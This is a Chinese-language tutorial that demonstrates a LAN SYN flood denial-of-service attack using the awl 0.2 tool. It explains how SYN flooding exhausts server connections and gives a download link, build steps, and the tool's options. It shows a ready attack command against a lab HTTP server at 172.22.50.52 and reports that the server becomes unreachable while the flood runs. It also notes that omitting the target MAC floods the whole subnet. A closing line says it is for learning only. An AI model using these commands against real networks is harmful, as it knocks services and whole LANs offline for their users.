Linux使用awl0.2進行局域網SYN進行洪水ATT

SYN洪水ATT的過程:

在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端,如果發起的客戶是一個不存在的客戶端,那麼服務端就不會接到客戶端迴應的ACK包。
這時服務端需要耗費一定的數量的系統內存來等待這個未決的連接,直到等待超關閉,才能施放內存。
如果惡意者通過通過ip欺騙,發送大量SYN包給受害者系統,導致服務端存在大量未決的連接並佔用大量內存和tcp連接,從而導致正常客戶端無法訪問服務端,這就是SYN洪水ATT的過程。

基本過程:從客戶端到服務器
Linux使用awl0.2進行局域網SYN進行洪水ATT

awl0.2下載地址:

https://pan.baidu.com/s/1KeWufWTjQl6cA8xLd_3FVw
提取碼y1x0

開始安裝awl

1.解壓

root:~ # tar xf awl-0.2.tar 
root:~ # cd awl-0.2/
root:~/awl-0.2 # ls
acconfig.h    AUTHORS       config.h.in  configure.in  include     ltmain.sh    missing  src
acinclude.m4  ChangeLog     config.sub   COPYING       INSTALL     Makefile.am  NEWS     TODO
aclocal.m4    config.guess  configure    depcomp       install-sh  Makefile.in  README

Linux使用awl0.2進行局域網SYN進行洪水ATT

2.編譯安裝

root:~/awl-0.2 # ./configure --prefix=/app/awl      #將全部文件安裝至/app/awl/文件夾下
root:~/awl-0.2 # make -j 4             #以4個進程同時編譯——把源代碼編譯成可執行的二進制文件
root:~/awl-0.2 # make install  #安裝

Linux使用awl0.2進行局域網SYN進行洪水ATT

實驗環境

在centos6上有一臺http服務器 ip爲172.22.50.52
服務 器端爲centos7 ip爲172.22.50.51
Linux使用awl0.2進行局域網SYN進行洪水ATT
Linux使用awl0.2進行局域網SYN進行洪水ATT
Linux使用awl0.2進行局域網SYN進行洪水ATT
http服務爲172.22.50.51
服務器(被ATT端)172.22.50.52
雙方都能ping通

開始ATT

Linux使用awl0.2進行局域網SYN進行洪水ATT
通過剛纔ping 52 可用 arp -n 查看ping過的主機mac地址

# arp -n

awl參數如下:
-i 發送包的接口,如果省略默認是eth0
-m 指定目標mac地址 注:如果-m沒有指定mac,默認目標MAC地址是“FF.FF.FF.FF.FF.FF”,
FF.FF.FF.FF.FF.FF MAC地址是什麼?
這表示向同一網段內的所有主機發出ARP廣播,進行SYNATT,還容易使整個局域網癱瘓。
-d 被ATT的機器的IP
-p 被ATT的機器的端口

在awl安裝目錄下使用awl(也可將awl文件夾寫入PATH直接使用)

Linux使用awl0.2進行局域網SYN進行洪水ATT

警告:在5秒內按CTLR+C停止

這裏有大量的僞裝ip對52進行訪問

Linux使用awl0.2進行局域網SYN進行洪水ATT

ATT時服務器http服務器已不能訪問

Linux使用awl0.2進行局域網SYN進行洪水ATT

停止後訪問恢復正常

Linux使用awl0.2進行局域網SYN進行洪水ATT

拓展:

./awl -i ens33 -m  -d 172.22.50.52 -p 80

在-m後不要跟目標mac地址,默認目標MAC地址是“FF.FF.FF.FF.FF.FF”
這表示向同一網段內的所有主機發出ARP廣播,進行SYN ATT,容易使整個局域網癱瘓

慎重使用

僅供學習網絡協議,瞭解SYN洪水,請勿搞破壞

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章